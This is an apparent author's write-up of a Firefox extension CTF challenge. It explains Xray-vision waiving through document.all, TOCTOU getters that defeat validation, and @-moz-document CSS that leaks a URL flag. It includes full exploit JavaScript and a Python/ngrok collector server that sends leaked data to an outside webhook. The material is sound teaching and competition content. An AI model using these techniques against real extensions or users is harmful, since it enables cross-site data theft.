My authored CTF challenges sources and official writeups
/tree/main/Ctrl+Space-CTF-Finals-2025/RicingStarTL;DR#
Forcing a Firefox Xray Vision Waiving on an untrusted object passed via MessageEvent, to a Content Script privileged execution context abusing document.all weirdness, bypassing Content Script validation checks by defining custom getters on the waived document.all and by emptying all DOM tree nodes. Once the malicious object is forwarded to the Extension background script, all browser.scripting.insertCSS API arguments can be set, and therefore injecting an User origin stylesheet with enabled @-moz-document CSS rule to exfiltrate the flag from the challenge page URL.
Description#
Do you love ricing?
Challenge Scenario#
The challenge is supposed to be about a Custom Theme Generator extension for Firefox, since it’s a fairly common practice for “ricing” enthusiasts to trust third-parties userChrome.css theme files, even though they can be quite powerful. But it’s just CSS at the end of the day, right..?
Upon visiting the challenge page, flying mhackeroni™ spaceshuttles are flying all over the screen, and switching to the “Editor” tab, users can customize their Ctrl+Space™ special edition theme to their likings:

The page also invites users to download their customized theme and apply it manually, or by directly installing the provided extension zip file and loading it in their Firefox Add-ons.
Flying mhackeroni™ spaceshuttles are now navigating in your chatgpt.com window! Actually, all of them!


We can now analyze the actual challenge sources after harassing our GPU :)
The challenge bot is fairly simple: it runs a Geckodriver instance under Selenium, allows only http/https URLs, disables WASM and JIT, and finally does the following actions:
driver.install_addon(EXTENSION_PATH, temporary=True)
driver.get(f"{BASE_URL}/?flag={FLAG}")
driver.switch_to.new_window("tab")
driver.get(url)
time.sleep(TIMEOUT)
Which 1) installs the provided extension as a temporary add-on, 2) visits the challenge page with the flag in the URL, 3) opens a new tab with the user-provided URL, and 4) sleeps for 10 seconds before quitting. The player is therefore required to exfiltrate the flag from the challenge page URL, but this can’t be done with CSS Injection alone, right..?
The extension setup is also quite simple and common: A manifest.json that gives scripting permission to an extension which is running a background.js on install and injects a contentscript.js Content Script on all pages to act as a “bridge” between the extension “privileged” execution context and the “untrusted” page context and DOM.
manifest.json
{
"manifest_version": 3,
"name": "Ctrl+Space CTF special edition firefox theme",
"version": "1.0.0",
"description": "✨",
"permissions": [
"scripting"
],
"host_permissions": [
"*://*/*"
],
"background": {
"scripts": ["background.js"]
},
"externally_connectable": {
"matches": ["http://127.0.0.1:80", "http://localhost:80"]
},
"browser_specific_settings": {
"gecko": {
"id": "someonethatcantdospacepwnbutwritesffthemes@mhackeroni.it"
}
}
}
Note that the extension’s manifest defined host_permissions for all URLs, which allows it to inject scripts and stylesheets into any webpage the user visits. Once installed, you’ll also notice that the manifest declares externally_connectable URLs, because you’ll get the following warning:
Reading manifest: Warning processing
externally_connectable: An unexpected property was found in the WebExtension manifest.
From MDN Web Docs:
Externally connectable controls which other extensions and web pages can communicate with an extension using
runtime.connect()andruntime.sendMessage()message passing.
However, as MDN also points out, the functionality is not yet supported in Firefox, which means it’s useless. This was supposed to just be a cheap anti-slop/anti-LLM/clankers hallucination bait 🎣 (pt.1.).
background.js
// background.js
async function setup() {
await browser.scripting.registerContentScripts([{
id: "bridge",
js: ["contentscript.js"],
matches: ["*://*/*"],
world: "ISOLATED"
}]);
}
async function applyTheme(msg, sender) {
const extInfo = await browser.management.getSelf();
const ENV = extInfo.installType;
if (ENV !== "development") return;
if (sender.id !== browser.runtime.id) return;
const defaultOpts = {
origin: "AUTHOR",
target: { tabId: sender.tab.id }
};
const opts = Object.assign(defaultOpts, msg);
await browser.scripting.insertCSS(opts);
}
browser.runtime.onMessage.addListener(applyTheme);
browser.runtime.onInstalled.addListener(setup);
The extension’s background script registers the content script on install from the extension files, and listens for messages sent from it to apply the theme CSS to the current tab. However, it only applies the theme if the extension is in development mode and the message sender is the extension itself. A few remarks can be made here:
- “Development mode” just means whether the extension was loaded as a temporary add-on from disk or installed from the store. It’s not a controllable flag. The client side bot will install it with the
temporary=Trueflag, meaning the bot will always have that “development mode” enabled. This was supposed to just be a cheap anti-slop/anti-LLM/clankers hallucination bait 🎣 (pt.2.). - The sender check is redundant, since
runtime.onMessageonly receives messages from the extension’s own context, i.e. only from the installed content script. This was supposed to just be a cheap anti-slop/anti-LLM/clankers hallucination bait 🎣 (pt.3.). - The
defaultOptsobject sets a few default arguments for theinsertCSScall, but the object is then merged with themsgobject withObject.assign()function, which uses right-to-left precedence, meaning they can be overridden if specified in themsgobject. (Not a clanker bait this time).
But can we actually specify otherwise in the content script? Let’s see.
contentscript.js
// contentscript.js
function validateCssRules(cssRules) {
for (const rule of cssRules) {
if (![CSSStyleRule, CSSFontFaceRule, CSSKeyframesRule].some(type => rule instanceof type)) {
throw new Error("[SPTE] Only CSS style-rules allowed");
}
validateCssRules(rule?.cssRules ?? []);
}
}
function validateInsertOptions(opts) {
if (opts.css && opts.files) {
throw new Error("[SPTE] Cannot specify both CSS and files options");
}
if (opts.css && typeof opts.css === "string") {
const stylesheet = new CSSStyleSheet();
stylesheet.replaceSync(opts.css);
validateCssRules(stylesheet.cssRules);
}
else if (opts.files && Array.isArray(opts.files)) {
for (const fileUrl of opts.files) {
if (new URL(fileUrl).origin !== new URL(browser.runtime.getURL("")).origin) {
throw new Error("[SPTE] Invalid file origin");
}
}
}
else {
throw new Error("[SPTE] Either CSS or files options must be specified");
}
if (opts.origin && opts.origin !== "AUTHOR") {
throw new Error("[SPTE] Invalid origin specified");
}
}
async function applyDefaultTheme() {
let fetchedCss = await (await fetch("http://127.0.0.1:80/img/theme.css")).text();
browser.runtime.sendMessage(browser.runtime.id, { css: fetchedCss }, {});
};
window.addEventListener("message", evt => {
if (evt.origin !== window.origin) return;
const options = evt.data || evt.data.wrappedJSObject;
validateInsertOptions(options);
const details = { ...options };
browser.runtime.sendMessage(browser.runtime.id, details, {});
});
applyDefaultTheme();
The Content Script running in pages listens for incoming message events, validates that the event origin matches the current page origin, and then validates the options object received with validateInsertOptions function before forwarding it to the background script.
First of all, the if (evt.origin !== window.origin) return; check is, again, useless, since the content script is running in the page context, evt.origin will always match window.origin. Moreover, while this is kinda of ok in normal webpages for cross-site protection, it’s not in case for extensions. Any origin can dispatch a raw MessageEvent to the page, and it will trigger the content script event listener anyway, effectively bypassing any origin checks, since MessageEvent’s constructor has an origin parameter that can be set to any value. The Event’s isTrusted property should always be checked in that case, since dispatched raw MessageEvent instances will always have isTrusted set to false.
The validateInsertOptions function instead runs a few type checks and nullish/undefined checks on the passed properties, and particularly validates that:
- Either
cssorfilesproperty is specified. - If
cssproperty is specified, it must be a string containing only CSS “style” rules (no@import,@media,@supports,@namespace, etc.) (I’ve just whitelisted the rules needed by the default CSS theme). - If
filesproperty is specified, all files must be from the extension’s own origin. - If
originproperty is specified, it must be set to"AUTHOR".
As these checks stand, it’s not possible to achieve any meaningful injection (except for Firefox 0days :p).
But Why?
Stylesheets Origins#
The key is mainly in the insertCSS API origin parameter restriction to "AUTHOR" only. This parameter specifies the stylesheet origin being applied.
From MDN Web Docs:
Author stylesheets are the most common type of stylesheet; these are the styles written by web developers. […] The author, or web developer, defines the styles for the document using one or more linked or imported stylesheets, <style> blocks, and inline styles defined with the style attribute. These author styles define the look and feel of the website — its theme.
Basically commonly known CSS styles applied by web pages. So what are “User stylesheets” about then?
In most browsers, the user (or reader) of the website can choose to override styles using a custom user stylesheet designed to tailor the experience to the user’s wishes. Depending on the user agent, user styles can be configured directly or added via browser extensions.
Those have something to do with extensions! And these are exactly what type of stylesheets you’re using when using custom userChrome.css themes on your riced Firefox setup!
But how do they differ in practice? User stylesheets have the higher precedence in the CSS Cascade, meaning they will always override Author stylesheets, even if the Author styles use !important rules. But apart from that, they also sometimes have access to internal or legacy features that only UA stylesheets have!
@-moz-document at-rule abuse#
For example, back in the days, Firefox allowed extensions to use -moz-binding CSS property, which allowed to bind XUL elements (Firefox’s own UI elements!) to arbitrary XML files containing XBL components (definitely not safe at all). Those bindings had a weak “signed JAR” policy that could be bypassed and achieve UXSS! https://www.mozilla.org/en-US/security/advisories/mfsa2008-57/.
This is fun but 2008 is long gone, right? (Even tho they restricted it to UA stylesheets only in 2019!)
Yes, but more legacy features are still available. One of them is the -moz-document CSS at-rule. This at-rule allows to apply styling based on document’s URL matching.
Ouch :/ Who ever thought that would be a good idea?
The feature as MDN documents, it’s obviously non-standard, and was deprecated in Firefox after Firefox bug 1035091 that exposed clear security issues with it. However, the rule is still supported in Firefox user stylesheets!

And since we can define “USER” origin stylesheets within insertCSS API, we could use it to exfiltrate the flag from the challenge page URL.
No CSP is applied to the challenge page, meaning the following rule will be enough to tell us whether the flag has a 0 character in the 2nd place:
@-moz-document regexp("http:\/\/127\.0\.0\.1:80\/\?flag=space..0") {
:root {
--background-image: url("http://webhook/?flag=space{.0");
}
}
Waiving Firefox Xray Vision by abusing document.all weirdness#
Well, but we can’t set origin: "USER" parameter because of the content script check, right?
We actually can! and it all relies on this little detail in the content script:
const options = evt.data || evt.data.wrappedJSObject;
The evt.data.wrappedJSObject property is a non-standard Firefox-specific object property present in higher-privileged execution contexts, that allows to access the underlying “wrapped” JavaScript object from XPCOM components (i.e. the underlying low-level C++ implementation of Javascript objects in the Gecko engine).
In Firefox, Javascript running in privileged security context, like extensions files, is called “chrome code” and it’s assumed to be trusted (“If chrome-privileged code is compromised, the attacker can take over the user’s computer.”). Meanwhile JavaScript loaded from normal web pages is called “content code”.
But, content code can sometimes reach the chrome code execution context (e.g. think of an object passed inside a postMessage!) and that violates security boundaries:
The security machinery in Gecko ensures that there’s asymmetric access between code at different privilege levels: so for example, content code can’t access objects created by chrome code, but chrome code can access objects created by content. However, even the ability to access content objects can be a security risk for chrome code. JavaScript’s a highly malleable language. Scripts running in web pages can add extra properties to DOM objects (also known as expando properties) and even redefine standard DOM objects to do something unexpected. If chrome code relies on such modified objects, it can be tricked into doing things it shouldn’t.
Therefore, before reaching that execution context, Firefox applies a security layer called Xray Vision that “wraps” untrusted user objects and allows the privileged execution context to literally “see through” the object on any property access and directly use the underlying low-level C++ native implementation, meaning any user-defined expando properties or user redefinitions will be ignored because they exist on the higher-level JavaScript representation only.
Sometimes, however, you actually want to access the full user-defined object, and to do that, you need to “Waive the object” (i.e. “unwrapping” the object), and a common way to do so is to use the wrappedJSObject property.
As such, this action is considered unsafe, as per MDN Web Docs:
Waivers are transitive: so if you waive Xray vision for an object, then you automatically waive it for all the object’s properties. For example,
window.wrappedJSObject.documentgets you the waived version of document. To undo the waiver again, callComponents.utils.unwaiveXrays(waivedObject).
Focus on the “Waivers are transitive”: that’s exactly what happens in our case!
After obtaining the evt.data.wrappedJSObject object, all the options.css, options.files, options.origin properties, the object prototype chain, the object instance methods, etc. will be the user defined ones.
What does that imply?
We can simply define our custom getter methods on the evt.data object to evade in a TOCTOU style the content script validation checks!
More concretely:
var nCalls = { "css": 0 };
Object.defineProperty(obj, 'css', {
configurable: true,
enumerable: true,
get() {
nCalls.css++;
return nCalls.css % 2 === 0 ? evilCss : safeCss;
}
});
We define on our evt.data object a custom getter for the css property, such that it will return the safeCss string value on the first call (i.e. during validation), and the evilCss string value on the second call (i.e. when the background script will read the property to forward it to insertCSS API).
We can apply the same idea to all other properties and effectively make the content script checks useless.
We still have one last problem though: options will be defined as evt.data.wrappedJSObject only if evt.data is falsy. How do we even pass a “falsy object” that can still be called as such? Aren’t all objects truthy by definition in JavaScript? E.g:
if ({}) console.log("runs"); // "runs"
if ([]) console.log("also runs"); // "also runs"
The only exceptions are false, 0, null, undefined, and NaN. However, those are called primitive values and as such they don’t have their own properties and methods.
How do you even do that??
Let me introduce yet another legacy deprecated feature:

The document.all property (it’s still supported on all major browsers this time though!).
This is a legacy way to access all elements in the document DOM tree, in their order. It’s an alternative to Document.querySelectorAll and returns an HTMLAllCollection object.
However, this object is just straight up weird.
For example, what do you think typeof document.all returns? Clearly undefined, right? What about document.all instanceof Object then? Surely true, right? What about if (!document.all) { console.log("wtf!?") } ?? All objects are truthy by definition, right????
Well, try it out yourself:
console.log(document.all instanceof Object); // true
console.log(document.all ? "all JS objects are truthy by definition" : "wtf!?"); // "wtf!??"
console.log(document.all == false); // false
console.log(typeof document.all); // undefined
console.log(document.all == null); // true
console.log(document.all ?? "should be nullish then, right?"); // undefined
// it's even callable!
document.all("isitevencallable?") // <div id="isitevencallable?">
// and even indexable!
document.all[0] // <html>
Those weird behaviors are due to legacy reasons and web compatibility and are documented in MDN here.
In summary, we can use document.all to get a falsy expression on the const options = evt.data || evt.data.wrappedJSObject; line, but still have a user controllable Waived Xray Vision object, and so define our custom getters on it to bypass the content script checks.
One last obstacle remains: document.all in fact returns all elements of the page, meaning that even if we redefine custom getters we’ll still have excess properties (i.e. the page html elements) inside the details object.
Also, given that details is defined as const details = { ...options };, we’ll have HTMLElement instances in it and since all postMessages (and therefore browser.runtime.sendMessage) calls use the Structured clone algorithm on the passed object, it will throw a DataCloneError: The object could not be cloned exception.
What about having no html elements at all on the page then? Well, even if we define an empty page, the browser will still at least put the root element <html> in the DOM tree, meaning document.all will still contain at least that. Let alone the <script> tag itself hosting our exploit code.
What about removing *ALL* html elements from the DOM then? Like, all of them? Even the script tag itself, even the root <html> tag!?
Yes, it’s possible! (lol)
while (document.firstChild) {
document.removeChild(document.firstChild);
}
console.log(document.all.length); // 0
Finally, turns out that in all modern browsers we can manipulate the document.all object and the DOM tree such that document.all becomes an arbitrary falsy, empty, HTMLAllCollection object that can have arbitrary properties set by javascript or arbitrary named properties set using common DOM clobbering techniques. And it’s even callable!
CSS Exfiltration#
At this point, the challenge is pretty much solved. From there, we can achieve CSS injection on the challenge page by passing the crafted document.all object with our custom getters to the content script, with a css property containing our @-moz-document rules to match the flag, and by also passing an origin: "USER" property such that @-moz-document rules are actually enabled and a target: { tabId: ... } property to specify the tab to apply the CSS to (the flag tab will always have tabId = 1 during the bot visit).
Since I was lenient and put the whole flag in the URL instead of a runtime generated token, you could have even manually exfiltrated the flag by matching each character with multiple reports, but it could have been a bit painful since the flag is 64 chars long.
My final exploit, instead, implements a one-shot solver by playing around with the CSS selectors Specificity algorithm: since we will have multiple different @-moz-document rules, each one of them trying to match a different probe, e.g. http://127.0.0.1/?flag?space{a, http://127.0.0.1/?flag?space{b, http://127.0.0.1/?flag?space{aa, etc.
The problem in having this many same rules, each one of them specifying a slightly different selector and trying to set the background-image attribute, will incur into a Specificity conflict and only the most specific rules “wins” the assignment. Therefore, only 1 exfiltration request will be triggered.
I bypassed this restriction with the following payload generation:
let knownFlag = "space{";
function buildEvilCss(nChars) {
const totalProbes = nChars * ALPHABET.length;
const collector = `:root { background-image: ${Array.from({ length: totalProbes }, (_, i) => `var(--p${i}, none)`).join(", ")} !important; }`;
const blocks = [collector];
let probeN = 0;
for (let pos = 0; pos < nChars; pos++) {
for (const char of ALPHABET) {
const probePattern = escapeForRegex(BASE_URL + knownFlag + ".".repeat(pos) + char + ".*");
blocks.push(
`@-moz-document regexp("${probePattern}") {`,
` :root {`,
` --p${probeN}: url("${WEBHOOK}/leaked/${probePattern}");`,
` }`,
`}`
);
probeN++;
}
}
return blocks.join("\n");
}
Key detail: each matching rule sets a different custom property: --p0, --p1, --p2, --pN vars. Therefore, no conflicts will arise and all matching rules will be applied, each one triggering a different exfiltration request to my webhook server with the matched probe in the URL.
The fact that each defined --pN var is resolved after their assignments is, again, because of the CSS Cascade algorithm order.
Solution#
Wrapping everything up, the final exploit code is the following:
// exploit.js
const WEBHOOK = "https://brle6wul.requestrepo.com";
const BASE_URL = "http://127.0.0.1/?flag=";
const ALPHABET = "abcdefghijklmnopqrstuvwxyz0123456789_{}?";
const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));
const escapeForRegex = (s) => s.replace(/[/.?{}]/g, ".");
let knownFlag = "space{";
function buildEvilCss(nChars) {
const totalProbes = nChars * ALPHABET.length;
const collector = `:root { background-image: ${Array.from({ length: totalProbes }, (_, i) => `var(--p${i}, none)`).join(", ")} !important; }`;
const blocks = [collector];
let probeN = 0;
for (let pos = 0; pos < nChars; pos++) {
for (const char of ALPHABET) {
const probePattern = escapeForRegex(BASE_URL + knownFlag + ".".repeat(pos) + char + ".*");
blocks.push(
`@-moz-document regexp("${probePattern}") {`,
` :root {`,
` --p${probeN}: url("${WEBHOOK}/leaked/${probePattern}");`,
` }`,
`}`
);
probeN++;
}
}
return blocks.join("\n");
}
function cleanDocumentAllObject() {
while (document.firstChild) {
document.removeChild(document.firstChild);
}
}
cleanDocumentAllObject();
const evilCss = buildEvilCss(64);
const safeCss = `* {color: red !important; }`;
var nCalls = { "css": 0, "origin": 0 };
Object.defineProperty(document.all, 'css', {
configurable: true,
enumerable: true,
get() {
nCalls.css++;
return nCalls.css % 2 === 0 ? safeCss : evilCss;
}
});
Object.defineProperty(document.all, 'origin', {
configurable: true,
enumerable: true,
get: function () {
nCalls.origin++;
return nCalls.origin % 2 === 0 ? "AUTHOR" : "USER";
}
});
Object.defineProperty(document.all, 'target', {
configurable: true,
enumerable: true,
get: function () {
return { tabId: 1 };
}
});
(async () => {
await sleep(1_000);
var fakeMessageEvent = new MessageEvent(
"message",
{
origin: window.origin,
data: document.all
}
);
window.dispatchEvent(fakeMessageEvent);
console.log("[PAGE] dispatched fake message event");
})();
and this was the server used to automatically startup a ngrok tunnel and reassemble all the collected probes:
#!/usr/bin/env python3
import os, re, sys, time, json, logging, threading, requests, urllib.parse
from flask import Flask, Response
from pyngrok import ngrok
TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1"
PORT = 8001
TIMEOUT = 20
QUIET_WINDOW = 10
FLAG_PREFIX = "space{"
EXPLOIT_TEMPLATE = open("exploit/exploit.js").read()
def escape_for_regex(text: str) -> str:
return re.sub(r"[/.?{}]", ".", text)
def make_exploit(public_url: str, base_url: str) -> str:
body = re.sub(r'const\s+WEBHOOK\s*=\s*".*?";', f'const WEBHOOK = "{public_url}";', EXPLOIT_TEMPLATE, count=1)
return body
def parse_probe(probe: str):
flag_index = probe.find("flag=")
if flag_index == -1:
return None
fragment = probe[flag_index + 5 :]
star_index = fragment.find(".*")
if star_index == -1:
return None
value = fragment[:star_index]
if not value.startswith(prefix_escaped):
return None
tail = value[len(prefix_escaped) :]
if not tail:
return None
pos = len(tail) - 1
token = tail[-1]
char = token if token != "." else "?"
return pos, char
app = Flask(__name__)
mutex = threading.Lock()
flag_chars = []
html_body = ""
exploit_body = ""
prefix_escaped = escape_for_regex(FLAG_PREFIX)
last_update = 0.0
@app.route("/")
def index() -> Response:
return Response(html_body, mimetype="text/html")
@app.route("/exploit.js")
def exploit() -> Response:
return Response(exploit_body, mimetype="application/javascript")
@app.route("/leaked/<path:pattern>")
def leaked(pattern: str) -> Response:
decoded = urllib.parse.unquote(pattern)
position_char = parse_probe(decoded)
if position_char is not None:
pos, ch = position_char
with mutex:
while len(flag_chars) <= pos:
flag_chars.append("?")
current = flag_chars[pos]
if current == ch:
return Response(status=204)
if current != "?" and ch == "?":
return Response(status=204)
flag_chars[pos] = ch
global last_update
last_update = time.time()
logging.info("Recovered #%d --> %s | %s", pos + len(FLAG_PREFIX), ch, FLAG_PREFIX + "".join(flag_chars))
return Response(status=204)
def start_server() -> threading.Thread:
thread = threading.Thread(
target=lambda: app.run(host="0.0.0.0", port=PORT, use_reloader=False, threaded=True),
daemon=True,
)
thread.start()
return thread
def main() -> int:
logging.basicConfig(
level=logging.INFO,
format="%(asctime)s | %(levelname)s | %(message)s",
datefmt="%H:%M:%S",
)
global html_body, exploit_body, flag_chars, last_update
base_url = f"{TARGET.rstrip('/')}/?flag="
flag_chars.clear()
last_update = time.time()
html_template = """<!doctype html><body><script src="{PUBLIC}/exploit.js"></script></body></html>"""
logging.info("Starting local Flask server on port %d", PORT)
start_server()
token = os.environ.get("NGROK_AUTHTOKEN")
if token:
ngrok.set_auth_token(token)
tunnel = None
try:
tunnel = ngrok.connect(f"http://127.0.0.1:{PORT}")
public_url = tunnel.public_url.rstrip("/")
logging.info("ngrok tunnel: %s", public_url)
html_body = html_template.replace("{PUBLIC}", public_url)
exploit_body = make_exploit(public_url, base_url)
payload = {"url": f"{public_url}/"}
logging.info("Triggering bot visit to %s", payload["url"])
res = requests.post(
f"{TARGET.rstrip('/')}/bot/visit",
headers={"content-type": "application/json"},
data=json.dumps(payload),
timeout=10,
)
res.raise_for_status()
logging.info("Bot accepted the visit. Waiting for leaks...")
deadline = time.time() + TIMEOUT
while time.time() < deadline:
with mutex:
no_updates = (time.time() - last_update > QUIET_WINDOW) and bool(flag_chars)
if no_updates:
break
time.sleep(0.5)
with mutex:
if not flag_chars:
logging.error("Timeout. No leaks captured.")
return 1
if flag_chars[-1] != "}":
flag_chars[-1] = "}"
final_flag = FLAG_PREFIX + "".join(flag_chars)
logging.info("\n\nFlag recovered: %s", final_flag)
print(final_flag)
return 0
except requests.RequestException as exc:
logging.error("Bot visit failed: %s", exc)
return 1
finally:
if tunnel is not None:
try:
ngrok.disconnect(tunnel.public_url)
except Exception:
pass
if __name__ == "__main__":
raise SystemExit(main())
Flag#
space{s0_much_leg4cy_0ut_there_4nyw4y_h0w_d0_y0u_c4ll_th4t??_ucssi??}
![Ctrl+Space CTF Finals 2025 - RicingStar [Author Writeup]](/posts/ctrl+space-ctf-finals-2025/ricingstar/background_ricingstar_hu_c8e44715ba159c0c.png)
